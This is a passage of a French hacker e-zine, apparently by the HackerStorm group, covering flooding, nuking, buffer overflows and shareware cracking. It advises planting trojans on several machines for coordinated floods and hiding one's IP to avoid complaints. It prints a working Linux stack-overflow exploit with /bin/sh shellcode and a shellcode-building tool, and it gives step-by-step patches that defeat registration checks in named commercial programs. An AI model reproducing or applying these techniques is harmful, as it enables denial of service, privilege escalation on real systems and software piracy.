                  Pour plus de renseignements sur cette méthode, veuillez-vous reporter à n'importe

                  qu'elle autre magazine(si vous entendez parler de yahoo dans le sommaire c'est bon ;o) ).

 

                  L'Union fait la force :

                 

                  J'espère que vous avez compris ce qu'est le flood. Vous comprendrez donc que

                  si vous vous mettez à plusieurs pour flooder une machine, celle-ci aura plus de chances

                  d'être floodée. Si vous êtes 10 à envoyer des PING sur la même victime, celle-ci

                  prendra un coefficient de flood de 10 et aura donc très mal(façon de parler ;)).

                  Mais encore faut-il être plusieurs. Le mieux est encore d'installer des sortes

                  de trojans sur plusieurs machines qui ont pour unique but le flood.

                  En configurant le trojan pour flooder la même victime sur plusieurs machines,

                  vous pourriez flooder très facilement sans vous faire repérer car les packets

                  destinés au flood auraient pour IP source l'IP où le trojan est installé.

                  Ce procédé a donc 2 avantages.

 

              B - Le Nuke

 

                  Je vais faire moins long pour le Nuke car ce n'est vraiment pas difficile à comprendre

                  surtout qu'il n'y a rien de spécial à comprendre. Comme je l'ai déjà dit, le nuke consiste

                  à utiliser un bug(spécifique de l'OS, du server installé,...) pour planter la machine distante.

                  L'un des bugs les plus connu est celui qui consiste à envoyer un message out of band

                  sur le port 139(pour plus d'informations -> Divers/1:Les ressources partagées par KoP) d'une

                  machine windows 95(version de winsock ancienne). Ceci a pour effet de planter windows.

                  Pour ce genre d'attaque, un seul packet est habituellement necessaire.

                  Un programme a été créé a cet effet, il s'agit de WinnukeV5.

                  Il existe bien d'autre type de nuke mais chacun d'eux est spécifique à l'OS,

                  aux applications pouvant recevoir des données,...

                  Il faut aussi parler du buffer overflow qui, avec une longueur de chaine appropriée,

                  permet de planter, par un écrasement de données(en mémoire), un programme ou une machine.

                  En connaissant la taille du buffer utilisée sur le server distant, vous pourriez créer un shell code

                  qui vous permettrait d'obtenir des accès dans celle-ci mais ceci sort du sujet donc pour plus

                  d'inforamtions sur le buffer overflow et les shell code, veuillez lire l'article Shell Code par Tipiax.

 

              C - Les Firewall

 

                  Déjà, qu'est-ce qu'un firewall ?

                  Un firewall(de l'anglais nur de feu) est un logiciel qui permet d'assurer une certain sécurité

                  contre le flood, le nuke ou empêche la connection d'autres PC sur un de vos ports(trojan par exemple).

                  Il existe plusieurs type de firewall. Il y a ceux qui attendent la connection sur un port(Ex:NukeNabber) et dès

                  qu'une connection est établie, l'IP du connecté est loggué et la connection est immédiatement fermée.

 

                  Ex:

                  ----------------------------------------------------------------------------------------------------------

                  Demande de connection  ---> Connection acceptée ---> Prise des infos  et  ---> Fermeture de la connection

                   sur votre port 139                    par le firewall              copie dans le log

                  ----------------------------------------------------------------------------------------------------------

                  Hacker                       Vous                 Vous                       Vous et Hacker

                  ----------------------------------------------------------------------------------------------------------

                 

                  Il y a aussi les firewall qui intercèptent toutes les demandes de connection ainsi que les ICMP

                  (ex: Conseal PC Firewall)et vérifient qu'elles ont droit de passer sur votre PC.

                  Si oui, il les laisse passer, si non, il les détruit en le mettant dans le log ou encore s'il ne sait pas,

                  il vous demande. Ces firewall offrent une sécurité supérieur lorsqu'ils sont bien configurés.

                  Ce type de firewall protège des attaques Syn contrairement au premier.

 

                  La seule faille que l'on peut remarquer dans les firewall est le fait qu'ils bloquent les connections.

                  En fait, se qu'ils bloquent est le packet Syn de demande de connection. Un packet Ack pourrait donc

                  très bien passer au travers de ces firewall. Un trojan bien programmé pourrait récupérer le packet

                  et l'interpréter sans que personne ne soit au courant. Il s'agit donc d'une faille très importante

                  et, à ma connaissance, il n'existe pas de firewall qui bloquent ce type de packets.

 

                  Voilà, j'espère que vous faites bien la différence entre le Flood et le Nuke.

                  Néanmoins, j'espère que vous ne n'utiliserez pas vos nouvelles connaissances

                  car, de ce fait, vous deviendrez un crasher et ainsi deviendrez l'ennemi de nombreux hackers.

                  Il faut aussi que vous sachiez que si quelqu'un porte plainte contre vous pour nuke ou flood

                  en montrant le log de son firewall, cela peut vous couter très cher donc si vous devez absolument

                  flooder ou nuker quelqu'un utiliser une autre IP, un trojan(voir "L'Union fait la force") ou encore

                  une gate qui devrait normalement assurer votre confidentialité.

 

                  Voilà, si vous voulez me poser des questions, veuillez me contacter à KoP@HackerStorm.Com

 

                                                      By KoP

 

 

      5 - Buffer overflow - débutant par Tipiax

 

            On va tout d'abord s'initier à la notion de buffer overflow. (BO).

            Un BO est pour ceux qui ne pratiquent pas l'anglais, un débordement de mémoire.

            C'est à dire qu'un programme va faire déborder un endroit où il a le droit d'écrire

            pour écrire là où il n'a pas le droit.

            Ce que vous aller voir ici n'est pas réelement un exploit mais juste une petite introduction

            pour que vous compreniez mieux. Tout ceci est bien sur pour linux.

            Prenez ce code source:

 

            -----------------------------------------------------------

                  //---------------------------------------

                  //  HackerStorm Exploit - Débutant

                  //---------------------------------------

           

                  main(int argc, char *argv[])

                  {

                     char hello[]="\nBonjour petit hacker :!\n\n";

                     char buffer[100];

                     if (argc == 2)

                     {

                        strcpy(buffer,argv[1]);

                     }

                     printf(hello);

                  }

            -----------------------------------------------------------

 

            Petite explication: le programme démarre et affiche à l'aide de printf() la chaine de caractère (=buffer)

            "\nBonjour petit hacker :!\n\n". Si le programme est éxécuté avec un argument, il copie cet argument dans

            dans buffer[]. Ce buffer étant d'une taille de 100 on peut le faire déborder en lançant le programme

            avec une longue chaine de caractère.

            Exemple en direct:

 

            -----------------------------------------------------------

            [root@localhost Desktop]# ./exemple

 

            Bonjour petit hacker :!

 

            -----------------------------------------------------------

                  

            Là ça marche nikel. Maintenant on met un argument

 

            -----------------------------------------------------------

            [root@localhost Desktop]# ./exemple `perl -e 'print "A"x200'`

            Erreur de segmentation (core dumped)

 

            -----------------------------------------------------------

 

            Explication: le petit code en perl permet d'écrire 200 A. On envoie donc une chaine de 200 caractère

            remplie de A. Le programme qui pouvait recevoir 100 caractères sature et modifie la mémoire dans

            tous les sens :) d'où l'erreur de segmentation. Mettons tout ça à notre avantage. Les variables sont

            empilés dans l'ordre inverse de leur déclaration. Donc si buffer[] déborde il va aller écrire sur hello[].

            Le but est de faire changer le message affiché à l'écran. Essayez donc ceci:

 

            -----------------------------------------------------------

 

            [root@localhost Desktop]# ./exemple `perl -e 'print "A"x106'`

            AAAAAA

 

            -----------------------------------------------------------

            Regardez ça, on a écrit 6 A de trop. ces A vont se caser dans hello[] et c'est donc ça qui va etre affiché.

            C'est vraiment très simple. Voyons comment on pourrait coder un exploit qui écrirait le message que l'on

            aura choisit (je vous le code en barbare pour la compréhension):

 

            -----------------------------------------------------------

                  #include <stdlib.h>

 

                  main(int argc, char *argv[])

                  {

                  char **args;

                  args[2]=NULL;

                  args[1]=

                     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

                     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  //100 A

                     "OVERFLOWWWWWWWW...";

                        if (argc != 2)

                        {    

                              printf("Usage : Exploite <ProgName>\n");

                        }

                  execve(argv[1],args,0);

                  }

            -----------------------------------------------------------

 

            On l'éxécute:

            -----------------------------------------------------------

 

            [root@localhost Desktop]# ./exploite exemple

            OVERFLOWWWWWWWW...

 

            -----------------------------------------------------------

 

            Bon beh ça marche nikel.

 

                                                By TiPiaX

 

 

      6 - Les exploits par Tipiax

 

            Qui n'a jamais revé de faire ces propres exploits, hein ?

            Si vous aussi vous etes dans ce cas la eh beh on va essayer de progresser ensemble. Le but d'un exploit

            est d'obtenir des droits quand on est sur un OS tel que linux ou WinNt. Ici on va le faire avec linux :)

 

            Tout d'abord voyons le fonctionnement d'un exploit. Un exploit exploite (eh oui :) un buffer overflow

             (enfin pas toujours mais ici oui). C'est a dire un débordement d'un buffer en mémoire. Un programme est

            executé ligne par ligne. Une instruction nommé "call" correspond à l'appel d'un fonction. Pour éxécuter

            cette fonction le programme sauve l'adresse de retour sur la pile, exécute la fonction puis revient grace

            à l'adresse sauvegardée. Le but de l'exploit par buffer overflow est de changer cette adresse mémoire

            en écrivant là où normalement on a pas le droit. Si un programme reçoit une chaine de caractere (buffer)

            comme paramètre, voila ce que ça donnerait en mémoire: (le buffer est une suite de A ici)

            MEMORY:)

            -------------------------------------------------------------------------------

            #BUFFER#                                         #PILE#

            AAAAAAAAAAAAAAAAAA                    |RET|???????...

            -------------------------------------------------------------------------------

 

            Enfin c'est ça TRES GROSSIEREMENT ! Mais bon bref. le principe est de faire déborder le buffer et de

            changer la valeur de retour de call sur la pile:

            MEMORY:)

            -------------------------------------------------------------------------------

            #BUFFER#                                        #PILE#

            AAAAAAAAAAAAAAAAAAAAAAAA|AAAA|AAAAAAAAAAAAAAAAA        

            -------------------------------------------------------------------------------

 

            Le buffer qu'on a rempli de "AAAA" a débordé et a atteind la valeur de retour. Le but est de mettre la valeur

            qu'on veut dedans pour l'envoyer sur un bout de programme codé par nos soins (ce que l'on appelle shellcode

            et qui sera placé au début du buffer).

 

            Voyons tout de suite un exemple concret.

 

            Créez le fichier exemple.c et mettez ceci dedans:

 

            -----------------------------------------------------------

                  //-----------------------------

                  // BO exemple - HackerStorm

                  //-----------------------------

 

                  void function(char *str)

                  {

                        char buffer[100];

                        strcpy(buffer,str);

                  }

 

                  main(int argc, char *argv[]) 

                  {

                        if (argc =  = 2)

                        {

                              function(argv[1]);

                        }

                  }

            -----------------------------------------------------------

 

            Puis vous le compilez avec gcc:

            gcc exemple.c -o exemple

            (le recompilez pas car le code compilé varie selon votre version de gcc, utilisez l'exemple précompilé)

            Vous obtenez un bel éxecutable pour ce minuscule programme en c. Le programme appelle une fonction qui va

            copier l'argument envoyé au programme lors de son éxecution dans un buffer d'une capacité de 100 caractères.

 

            Executez le normalement:

            ------------------------------------------------------------------------

            [root@localhost /root]# /root/Desktop/exemple

            [root@localhost /root]# /root/Desktop/exemple 1111111111111111111111111111

            ------------------------------------------------------------------------

 

            C'est bon il plante pas. Maintenant faisons déborder le buffer:

            ------------------------------------------------------------------------

            [root@localhost /root]# /root/Desktop/exemple `perl -e 'print "A" x 200'`

            Erreur de segmentation (core dumped)

            -------------------------------------------------------------------------

 

            Eh oui il plante, ça veut dire qu'on a bien fait déborder le buffer. le truc en perl c'est pour éxécuter le

            programme exemple avec 200 A en argument. On va tenter d'exploiter cette faille. C'est ici qu'on va

            normalement utiliser gdb. Mais là comme c'est mon programme et bien on en réécrit un qui nous simplifie la vie:

 

            -------------------------------------------------------------------------

                  //-----------------------------

                  // BO exemple - HackerStorm

                  //-----------------------------

 

                  unsigned long get_sp(void) {__asm__("movl %esp,%eax");}

 

                  void function(char *str)

                  {

                        char buffer[100];

                        strcpy(buffer,str);

     

                        system("clear");

                        printf("\nJe te donne tout pour que tu m'exploites facilement :\n");

                        printf("-----------------------------------------------------\n\n");

                        printf("Debut du buffer    : %x\n",buffer);

                        printf("Fin du buffer      : %x\n",buffer+100);

                        printf("Valeur de ESP      : %x\n",get_sp());

                        printf("Contenu du buffer  : %s\n\n\n",buffer);

     

                  }

 

                  main(int argc, char *argv[]) 

                  {

                        if (argc == 2)

                        {

                              function(argv[1]);

                        }

                  }

            -------------------------------------------------------------------------

 

            On fait un petit : ./exemple `perl -e 'print "A"x108'` et ça nous donne ceci :

            (108 car le ret est juste après le 104 dans cet exemple, comme vous me croyez pas regardez sous gdb:

            ------------------------------------------------------------------------

            [root@localhost Desktop]# gdb -q exemple

            (gdb) run `perl -e 'print "A"x108'`

 

            Program received signal SIGSEGV, Segmentation fault.

            0x41414141 in ?? ()

            ------------------------------------------------------------------------

            Bon on me crois maintenant ...)

 

            Je te donne tout pour que tu m'exploites facilement :

 

            -----------------------------------------------------

            Debut du buffer    : bffff8e8

            Fin du buffer      : bffff94c

            Valeur de ESP      : bffff8c4

            Contenu du buffer  : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

                                 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

            On a tout en main pour détourner l'éxécution de ce cher programme.

            Petite explication. En faisant déborder le buffer on écrase la valeur de retour de call. Cette valeur

            sera écrite entre 104 et 108. Voila. Dans le buffer en hexa il faudra inverser l'adresse (ce qui est logique

            si on réfléchit un peu). L'adresse :bffff8e8 donnera : e8f8ffbf. C'est bon on code l'exploit qui

            éxécutera le programme avec notre buffer.

 

            Petit problème: après avoir codé l'exploit on se rend compte que le fait de l'éxécuter extérieurement

            change l'adresse du début du buffer qui se retrouve en bffffde8. ça change tout !

 

            On va donc changer l'adresse de retour, mais a quoi ça sert ?

            Eh bien on va mettre du code au début du buffer qui sera éxécuté lors du retour. Ce code sera

            le lancement de la console du root car comme ça, à nous les maxi-privilèges :)

            Ce bout de code se nomme shellcode, et je dois avouer que je l'ai rippé :)

 

            Voila donc le code de l'exploit:

            (compilation : gcc exploite.c -o exploite)

 

            -----------------------------------------------------

                  #include <stdlib.h>

 

                  main(int argc, char *argv[])

                  {

                  char *args[2];

                  args[2]=NULL;

                  args[1]=

                     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

                     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

                     "\x80\xe8\xdc\xff\xff\xff/bin/sh"              //45 chars

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      // les NOPS = 55 chars

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      // soit 100 chars au total

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90"   //104 chars

                     "\xe8\xfd\xff\xbf"

                     "\x00";                                        //le 0 final

                        if (argc != 2)

                        {

                              printf("Usage : Exploite <ProgName>\n");

                        }

                  //printf(args[1]);

                  execve(argv[1],args,0);

                  }

            -----------------------------------------------------

 

            Codé bien à l'ancienne pour bien comprendre :). Executez l'exploit comme ceci:

            ./exploite exemple

 

            Bim la console du super utilisateur apparait :) ! ObJeCtiF DeStRoYeD !

            A vous les backdoors exploitables :))))

 

                                                TiPiaX.

 

      7 - Programme de création de shell-code par KoP

 

            Grâce à ce programme, vous pouvez créer simplement un fichier binaire ou texte.

            J'ai mis qu'il était destiné à la création de shell-code mais vous pouvez

            l'utiliser pour tout type de données.

            Veuillez dabord mettre la source suivante dans un fichier nommé Make-SC.cpp:

 

            Copier/Coller------------------------------------------------------------------------

                  /*

                        Programme de crétion de Shell-Code

                              Par KoP du groupe HackerStorm

                                    E-Mail: HackerStorm@HotMail.Com

 

                        Merci de ne pas modifier cette source.

                  */

 

                  #include <stdio.h>

                  #include <stdlib.h>

 

                  main(int argc,char*argv[])

                  {

                  unsigned char data,t=0,erreur=0,etape=0,k;

                  char buf[2000],buf1[2000],buf2[2000];

                  unsigned int i,j,l;

                  if(argc!=3)

                  {

                        puts("Usage: Make-SC [fichier source] [fichier sortie]");

                        puts("\tProgramme de création de Shell-Code par KoP du groupe HackerStorm");

                        puts("\tPour me contacter -> E-mail: HackerStorm@HotMail.Com\n");

                        puts("Le fichier source peut accépter plusieurs type de datas :");

                        puts("                   Source        -> Sortie");

                        puts("- brut :           0159dsd       -> 0159dsd");

                        puts("- décimal :        \\97\\          -> a");

                        puts("- multiple :       \\\"a\"*10\\      -> aaaaaaaaaa");

                        puts("                   \\97*10\\       -> aaaaaaaaaa");

                        puts("- fichier sortie : \\\"shell.dat\"\\ -> 0a8f9djhg9 si le fichier shell.dat");

                        puts("                                    contient les données \"0a8f9djhg9\"");

                  }

                  FILE*sortie,*entree;

                  if((sortie=fopen(argv[1],"rb"))==NULL)

                        {

                          printf("Impossible d'ouvrir le fichier source \"%s\".\n",argv[1]);

                          return 1;

                        }

                  entree=fopen(argv[2],"wb");

                  for(;;)

                  {

                        data=getc(sortie);

                        if(feof(sortie))break;

                        if(data!='\\'&&data!=13&&data!=10)

                        {    

                              putc(data,entree);

                              continue;

                        }

                        if(data=='\\')

                        {

                                for(i=0,etape=0,t=0;;i++)

                                {

                                    data=getc(sortie);

                                    if(feof(sortie)){erreur=1;break;}

                                    if(data=='*'&&t==0)etape=1;

                                    if(data==' '&&t==0){i--;continue;}

                                    if(data=='\\'&&t==0)break;

                                    if(data=='\\'&&t==1)t=2;

                                    if(data=='"'&&t!=2)t=(t==0)?1:0;

                                    t=(t==2)?0:t;

                                      buf[i]=data;

                                }

                                buf[i]='\0';

                                if(erreur==1)

                              {

                                    puts("Erreur dans le fichier source.");

                                    break;

                                }

                              if(etape==1)

                              {

                                      for(j=0,l=0,k=0;j<i+1;j++)

                                    {

                                            if(buf[j]=='*'){k=1;buf1[l]='\0';l=0;continue;}

                                            if(k==0)buf1[l++]=buf[j];

                                            if(k==1)buf2[l++]=buf[j];

                                    }

                                    buf2[l]='\0';

                                    if(atoi(buf2)==0)continue;

                                    if(buf1[0]!='"')sprintf(buf1,"%c",atoi(buf1));

                                    if(buf1[0]=='"')

                                    {

                                          for(i=0;;i++)

                                          {

                                                if(buf1[i]=='"'&&buf1[i-1]!='\\'&&i!=0)break;

                                                buf1[i]=buf1[i+1];

                                          }

                                          buf1[i-1]='\0';

                                    }

                                    j=atoi(buf2);

                                    for(i=0;i<j;i++)

                                          fprintf(entree,buf1);

                                    continue;

                              }

                              if(etape==0)

                              {

                                    if(buf[0]!='"')

                                    {

                                          sprintf(buf,"%c",atoi(buf));

                                          fprintf(entree,"%s",buf);

                                          continue;              

                                    }

                                    if(buf[0]=='"')

                                    {

                                          for(i=0;;i++)

                                          {

                                                if(buf[i]=='"'&&buf[i-1]!='\\'&&i!=0)break;

                                                buf[i]=buf[i+1];

                                          }

                                          buf[i-1]='\0';

                                          FILE*sortie2;

                                          if((sortie2=fopen(buf,"rb"))==NULL)

                                          {

                                                printf("Impossible d'ouvrir le fichier \"%s\".\n",buf);

                                                break;

                                          }

                                          for(i=0;;i++)

                                          {

                                                data=getc(sortie2);

                                                if(feof(sortie2))break;

                                                putc(data,entree);

                                          }                      

                                          fclose(sortie2);

                                    }

                              }

                              continue;

                        }

                  }

                  fclose(sortie);

                  fclose(entree);

                  return 0;

            -------------------------------------------------------------------------------------

 

            Veuillez le compiler en tapant sous Linux, Unix: gcc Make-SC.cpp -o Make-SC

            ou encore sous DOS: tcc Make-SC.cpp

 

            Un fichier Make-SC ou Make-SC.exe devrait être créé.

 

            Pour faire fonctionner ce programme, vous devez saisir en argument un nom de fichier source.

            Les fichiers sources peuvent contenir plusieurs type de données :

            - brut :           0159dsd       -> 0159dsd

            - décimal :        \97\          -> a

            - multiple :       \"a"*10\      -> aaaaaaaaaa

                               \97*10\       -> aaaaaaaaaa

            - fichier sortie : \"shell.dat"\ -> 0a8f9djhg9 si le fichier "shell.dat"

                                                contient les données "0a8f9djhg9"

 

            Exemple de fichier source :

            (sauvegardez le sous exemple.in)

 

            Copier/Coller------------------------------------------------------------------------

                  Salut, comment allez vous \"??"*3\

                  \13\\10\

                  Moi je vais \"très "*5\ bien :)\13\\10\

                  Voici votre fichier passwsd :\13\\10\\13\\10\

                  \"/etc/passwd"\\13\\10\

                  \42*80\\13\\10\

                  Un petit tableau de 5 sur 5 :\13\\10\

                  \"* * * * *\n"*5\

            -------------------------------------------------------------------------------------

 

            Voilà, je vais maintenant détailler chaque ligne :

            ligne 1 :"Salut, comment allez vous \"??"*3\"

                  La sortie sera : "Salut, comment allez vous ??????".

                  Ceci écrit 3 fois "??".

            ligne 2 :"\13\\10\"

                  A pour effet un saut à la ligne(norme).

            ligne 3 :"Moi je vais \"très "*5\bien :)\13\\10\"

                  La sortie sera "Moi je vais très très très très très bien :)"+saut à la ligne

                  Ceci écrit 5 fois "très " et fait un saut à la ligne.

            ligne 4 :"Voici votre fichier passwsd :\13\\10\\13\\10\"

                  Fait 2 saut à la ligne.

            ligne 5 :"\"/etc/passwd"\\13\\10\"

                  Ouvre votre fichier /etc/passwd et l'ajoute depuis l'emplacement de la balise.

                  Fait ensuite un saut à la ligne.

            ligne 6 :"\42*80\\13\\10\"

                  Ecrit une ligne de 80 caractère "*"(42 -> "*").

                  Fait ensuite un saut à la ligne.

            ligne 7 :"Un petit tableau de 5 sur 5 :\13\\10\"

                  Ressort le texte tel quel et fait un saut à la ligne.

                  Fait ensuite un saut à la ligne.

            ligne 8 :"\"* * * * *\n"*5\"

                  La sortie sera "* * * * *"

                                 "* * * * *"

                                 "* * * * *"

                                 "* * * * *"

                                 "* * * * *"

                  Car "\n" remplace un saut à la ligne.

 

            Dans cet explication, je parle de sortie.

            La sortie est, pour ce programme un fichier que vous devez spécifier sur la ligne de commande.

            exemple de ligne de commande : ./Make-SC exemple.in exemple.out

            exemple.in est prit comme fichier source et exemple.out comme fichier sortie.

 

            Voilà, j'espère que ce programme vous servira.

            Pour envoyer un shell code, vous pouvez utiliser n'importe quel

            programme(que vous pouvez faire) qui lis un fichier et envoi ses données

            en utilisant les protocoles réseaux.

 

                                          Par KoP

 

 

          ************************************************************************************

          *                      CRACKING par Alexia[SKY],eBrain,TiPiaX                      *

          ************************************************************************************

 

 

      1 - Easy soft CD menu générateur par Alexia[SKY]

 

            Materiel nécéssaires :

            Un editeur HEXADECIMAL, style Hex Works Shop, Hiew etc....

            Ce programme à pour but de vous aider à préparer vos compiles sur cd.

            Compression, présentation, etc...

            En sa version SHAREWARE, il a cependant un inconvénient majeur.

            Dès que vous générez un joli menu, UREGISTRERES VERSION apparaît dans tous les sens.

            Sur chacune des fenêtres générées, 3 en l'occurrence.

            Notre but est donc de supprimer ce stupide message de ce stupide logiciel.

            Nous l'installons et avons ces fichiers executables :

            Lavmenu.exe, Menu.exe, et 2 autres qui ne nous interessent pas. Si nous lançons le Menu.exe,une erreur

            apparaît:"ERROR : File not Found [2] Creating menu.tps\ !farver etc."

            Ce n'est pas celui la. On lance Lavmenu.exe, et la tout se passe bien.

            On fait un peu n'importe quoi, le but étant de générer les fichiers.

            Je ne m'attarde pas sur les commandes de ce log, on est pas là pour ça.

            Nous générons notre fichier et le lançons. Voilà notre fameux UREGISTRERES VERSION partout.

            (Avec un nom comme ça, on ne peut pas s'empécher de le cracker ;)).

            On quitte et on regarde les fichiers générés.

            Autorun.inf, qui lui même fait appel au fichier menu.exe présent aussi dans ce repertoire.

            On en conclue donc qu'il colle son Menu.exe ici dans ce repertoire.Ca doit être ça.

            Prenez votre editeur hexadecimal, et ouvrez le fichier Menu.exe du répertoire d'install du log.

            Faites Find, Recherchez UREGIS (c'est pas la peine de mettre ça au complet..)

            PAF ! ! ! On le tient. Il est-là. modifiez ça par des espaces (20 en ascii), continuez la recherche.

            L'opération se fera 3 fois, une fois tout remplacés par des espaces, enregistrez, générez un fichier. BAK

            (Habitude a prendre, ca sert si on abime un fichier) et relancez le Lavmenu.exe.

            Ce dernier nous dit toujours uregistrers, mais le fichier menu lui, ne laisse plus apparaître

            UREGISTERES nulle part.

            Cool works ! Vous venez de faire votre premier crack ;))) Felicitations ;)

                 

            Bien sur, il y a bien d'autres méthodes pour y arriver, mais celle ci me semble la plus simple,

            faut avouez que.....

            Ceci dis, les programmeurs de ce log auraient pus avoir la bonté de crypter ça !

 

      2 - WinRescue 98 V 2.04  par Alexia[SKY]

 

            Cette fois ci, et pour la derniere fois je pense, on va se faire un petit crack facile.

            Parceque des daubes comme ça, vous devez être en mesure de les cracker en moins de 5 minutes maintenant.

            Première étape : on teste le logiciel. Il y a une boite de bialogue au démarage qui demande un mot de passe.

            On tape le mot de passe et on a un message d'erreur.

            On décompile. W32Dasm, notre fidèle serviteur se fera un plaisir de remplir cette tâche.

            On regarde ensuite la liste des chaines de caractère ( menu Refs \ String Data References ).

            On remarque une chaine bien sympa qui correspond à notre message d'erreur.

            On y va. Un peut plus haut, on voit que le code suit un saut conditionnel.

            Et encore plus haut le code qui correspond à la chaine "Registration Key Accepted". ( 465A5F )

            Alors, on va aller à l'origine du saut ( 4659F7 ). Là, on vois bien le JE ainsi que le CMP qui le précède.

            On voit aussi que tout ce code correspond à la chaine "Svet CHRISTA".

            ( Au passage si quelqu'un sait ce que ca veut dire, qu'il veuille bien me le signaler SVP :0).

            Serais ce le mot de passe ? On essaye et... oui, c'est bien lui !

            Noter que vous auriez tout aussi bien pu remplacer le JE par des NOP.

            De cette manière, n'importe quel pwd aurait été accepté.

            Mais ça, je vous laisse le faire !

 

      3 - Pretty HTML V2.00  par Alexia[SKY]

 

            Objet : Crack de Pretty HTML V 2.00 ( Disponible sur le CD Pro PC-Team N°43 )

            Niveau : Débutant

            Outils : Axe ( un éditeur hexadécimal )

            Outils : W32Dasm89 ( un désassembleur )

            Télécharger le logiciels <http://www.multimania.com/tirips/ph_200.zip>

            Voici les URLs où télécharger les logiciels nécesaire à ce crack :

                  Axe  <http://www.multimania.com/utils/axe20.zip>

                  W32Dasm<http://www.multimania.com/utils/w32ds893.zip>

           

            Là, il y a pas 36 solutions, il faut lancer le logiciel, en l'occurence prettyhtml.exe.

            Dès qu'on lance le logiciel, une boite de dialogue nous informe qu'il faut enregistrer

            le produit. Ok, cliquons sur le bouton "Enter registration key". Il nous est demander

            un nom et un mot de passe. Tu as de la chance, c'est le genre de crack qui se réalise

            assez rapidement. En plus comme il s'agit d'un petit logiciel, il ne devrait pas y avoir

            trop de complications. On entre n'y nom, n'y mot de passe. Que se passe t'il ?

            Un label change ( un label, c'est un zone de texte qui fait en général une ligne ).

            "Incorrect name or serial...". Voila un message interessant. On recommence l'opération

            en entrant cette fois ci un nom et un mot de passe bidon. Rien ne se passe.

            Le message est toujours le même. En fait, il a quand même du se passer quelquechose,

            le réaffichage du message, mais nous, on a rien vu ! On lance Axe et on fait une

            recherche du mot "Incorrect". Pour ceux qui hésiterait, c'est une chaine ANSI, mais ce

            n'est pas toujours le cas. Une fois la chaine trouvée, on regarde. Pas très interessant

            à première vu... et pourtant. On remarque d'autre chaine de caractères. Un peu plus

            haut, on voit "mpp". Tiens ! l'éditeur de ce logiciel s'apelle Média ++ ( mpp ).

            Coïncidence ? Et "PName", ca ne te dit rien ? Tout a l'heure, on ne te demandais

            pas d'entrer ton "name" ? Continuons... "pretty.reg", c'est sans doute un fichier.

            Un petit coup d'oeil dans le répertoire d'installation nous apprend qu'il n'y a pas

            de fichier portant ce nom... étrange... on s'apercevra à la fin qu'il est chargé de

            contenir le nom et le mot de passe crypté. On continue notre ascension et là !

            Révélation : "Thank you...". Cette petite phrase veut tout dire !

                  Ce logiciel est tout con. Il nous demande un mot de passe. Si ce n'est pas le bon

            ou s'il n'y en a pas, il change le texte du label qu'il y a juste en dessous.

            Par contre, on peut facilement déduire que si on entre un bon mot de passe,

            il change aussi le label, mais cette fois ci, il y aura écrit "Thank you...".

            Bien sur, a ce stade là, on peut pas le vérifier, mais on a pas le choix et on doit faire avec !

            En conclusion, le logiciel effectue une vérification du mot de passe tapé et

            choisit en fonction de celui ci le message à afficher. Cerise sur le gateau,

            il se pourrait même qu'a le suite de ce message, le logiciel soit enregistré,

            et c'est ce que nous cherchons !

                  Maintenant, lance W32Dasm et ouvre le fichier prettyhtml.exe.

            Laisse le logiciel désassembler le fichier et ensuite, rend toi à l'endroit où

            se trouve "Thank you" (fais une recherche !). Une fois que tu y es,

            observe le code. Pour ceux d'entre vous qui ne connaissent pas l'assembleur,

            ca va être dur de tout comprendre, alors je vais essayer d'être le plus clair possible.

 

            On voit * Possible StringData Ref from Code Obj ->" Thank you, ..."

            La ligne indique qu'à cet endroit, on fait appel à la chaine "Thank you".

            La ligne d'après, on voit: 004815E9 B91C174800        mov ecx, 0048171C

            Clique deux fois dessus et vérifie qu'elle se surligne bien en bleu.

            Si c'était vert, ca signifierait que cette ligne renvoi à une autre adresse

            (un peu comme goto en basic) ou qu'au contraire, cette ligne est la cible

            d'un saut. Ce dernier cas aurait compliqué la situation. On aurait été obligé

            d'aller chercher dans le code la ligne qui renvoi à celle ci, et la compréhension

            aurait été plus difficile. Mais ce n'est pas le cas, alors tout ce qu'on peut en

            déduire, puisqu'on sait que les lignes qui suivent celle-ci servent à enregister

            PrettyHTML ( enfin, on le suppose ), c'est que plus haut dans le code,

            il y a un endroit qui sera la cible d'une instruction genre "goto" que l'on

            appelle JMP(jump), ou qu'il y aura un JMP vers le message "Incorrect name or serial".

            Regarde la ligne 004815E0 0F84DD000000        je 004816C3

            On remarque la commande "JE" qui signifie "Aller à 004816C3 si la ligne précédente

            renvoi 1". 004816C3 est une adresse qu'il faut aller vérifier. A cette adresse ci, il n'y

            a rien de très concluant. Regardont un peu plus bas : "Incorrect name or serial".

            BINGO ! La ligne 3 crée une dérivation conditionelle vers le code qui garde

            le logiciel "unregistered".

            Maintenant la ligne 004815DC 837DF800        cmp dword ptr  [ebp-08],  00000000

            Cette ligne est la solution de tout. Elle compare une valeur dword et 0. Si les deux

            valeurs sont égales, la ligne renvoie la valeur 1. La ligne 3 elle regarde le renvoi

            de la 4 et si ce renvoie est 1, elle ordonne au programme d'effectuer un saut vers

            l'adresse 004816C3, qui rappellons le maintient le programme en version shareware.

            De cette manière, le code qui enregistre le logiciel et qui se situe après la ligne 3

            n'est jamais executé. La valeur dword [ebp-8] est déterminée plus haut dans le

            programme et si elle est égale à 0, la ligne 3 est executée. Tu as compris, il suffit

            de modifier la ligne 4. Tu vois le chiffre 00000000 ? Remplacons le par n'importequelle

            valeur différent de 0. Ainsi, la ligne 4 comparera la valeur dword ( egale à 0 pour n'importe

            quel mot de passe incorrect ) et le chiffre que tu auras entré. Les deux chiffres étant

            différents, la valeur de renvoie ne sera pas 1, mais 0. La ligne 3 ne n'executera pas,

            mais le code qui enregistre le programme si !

 

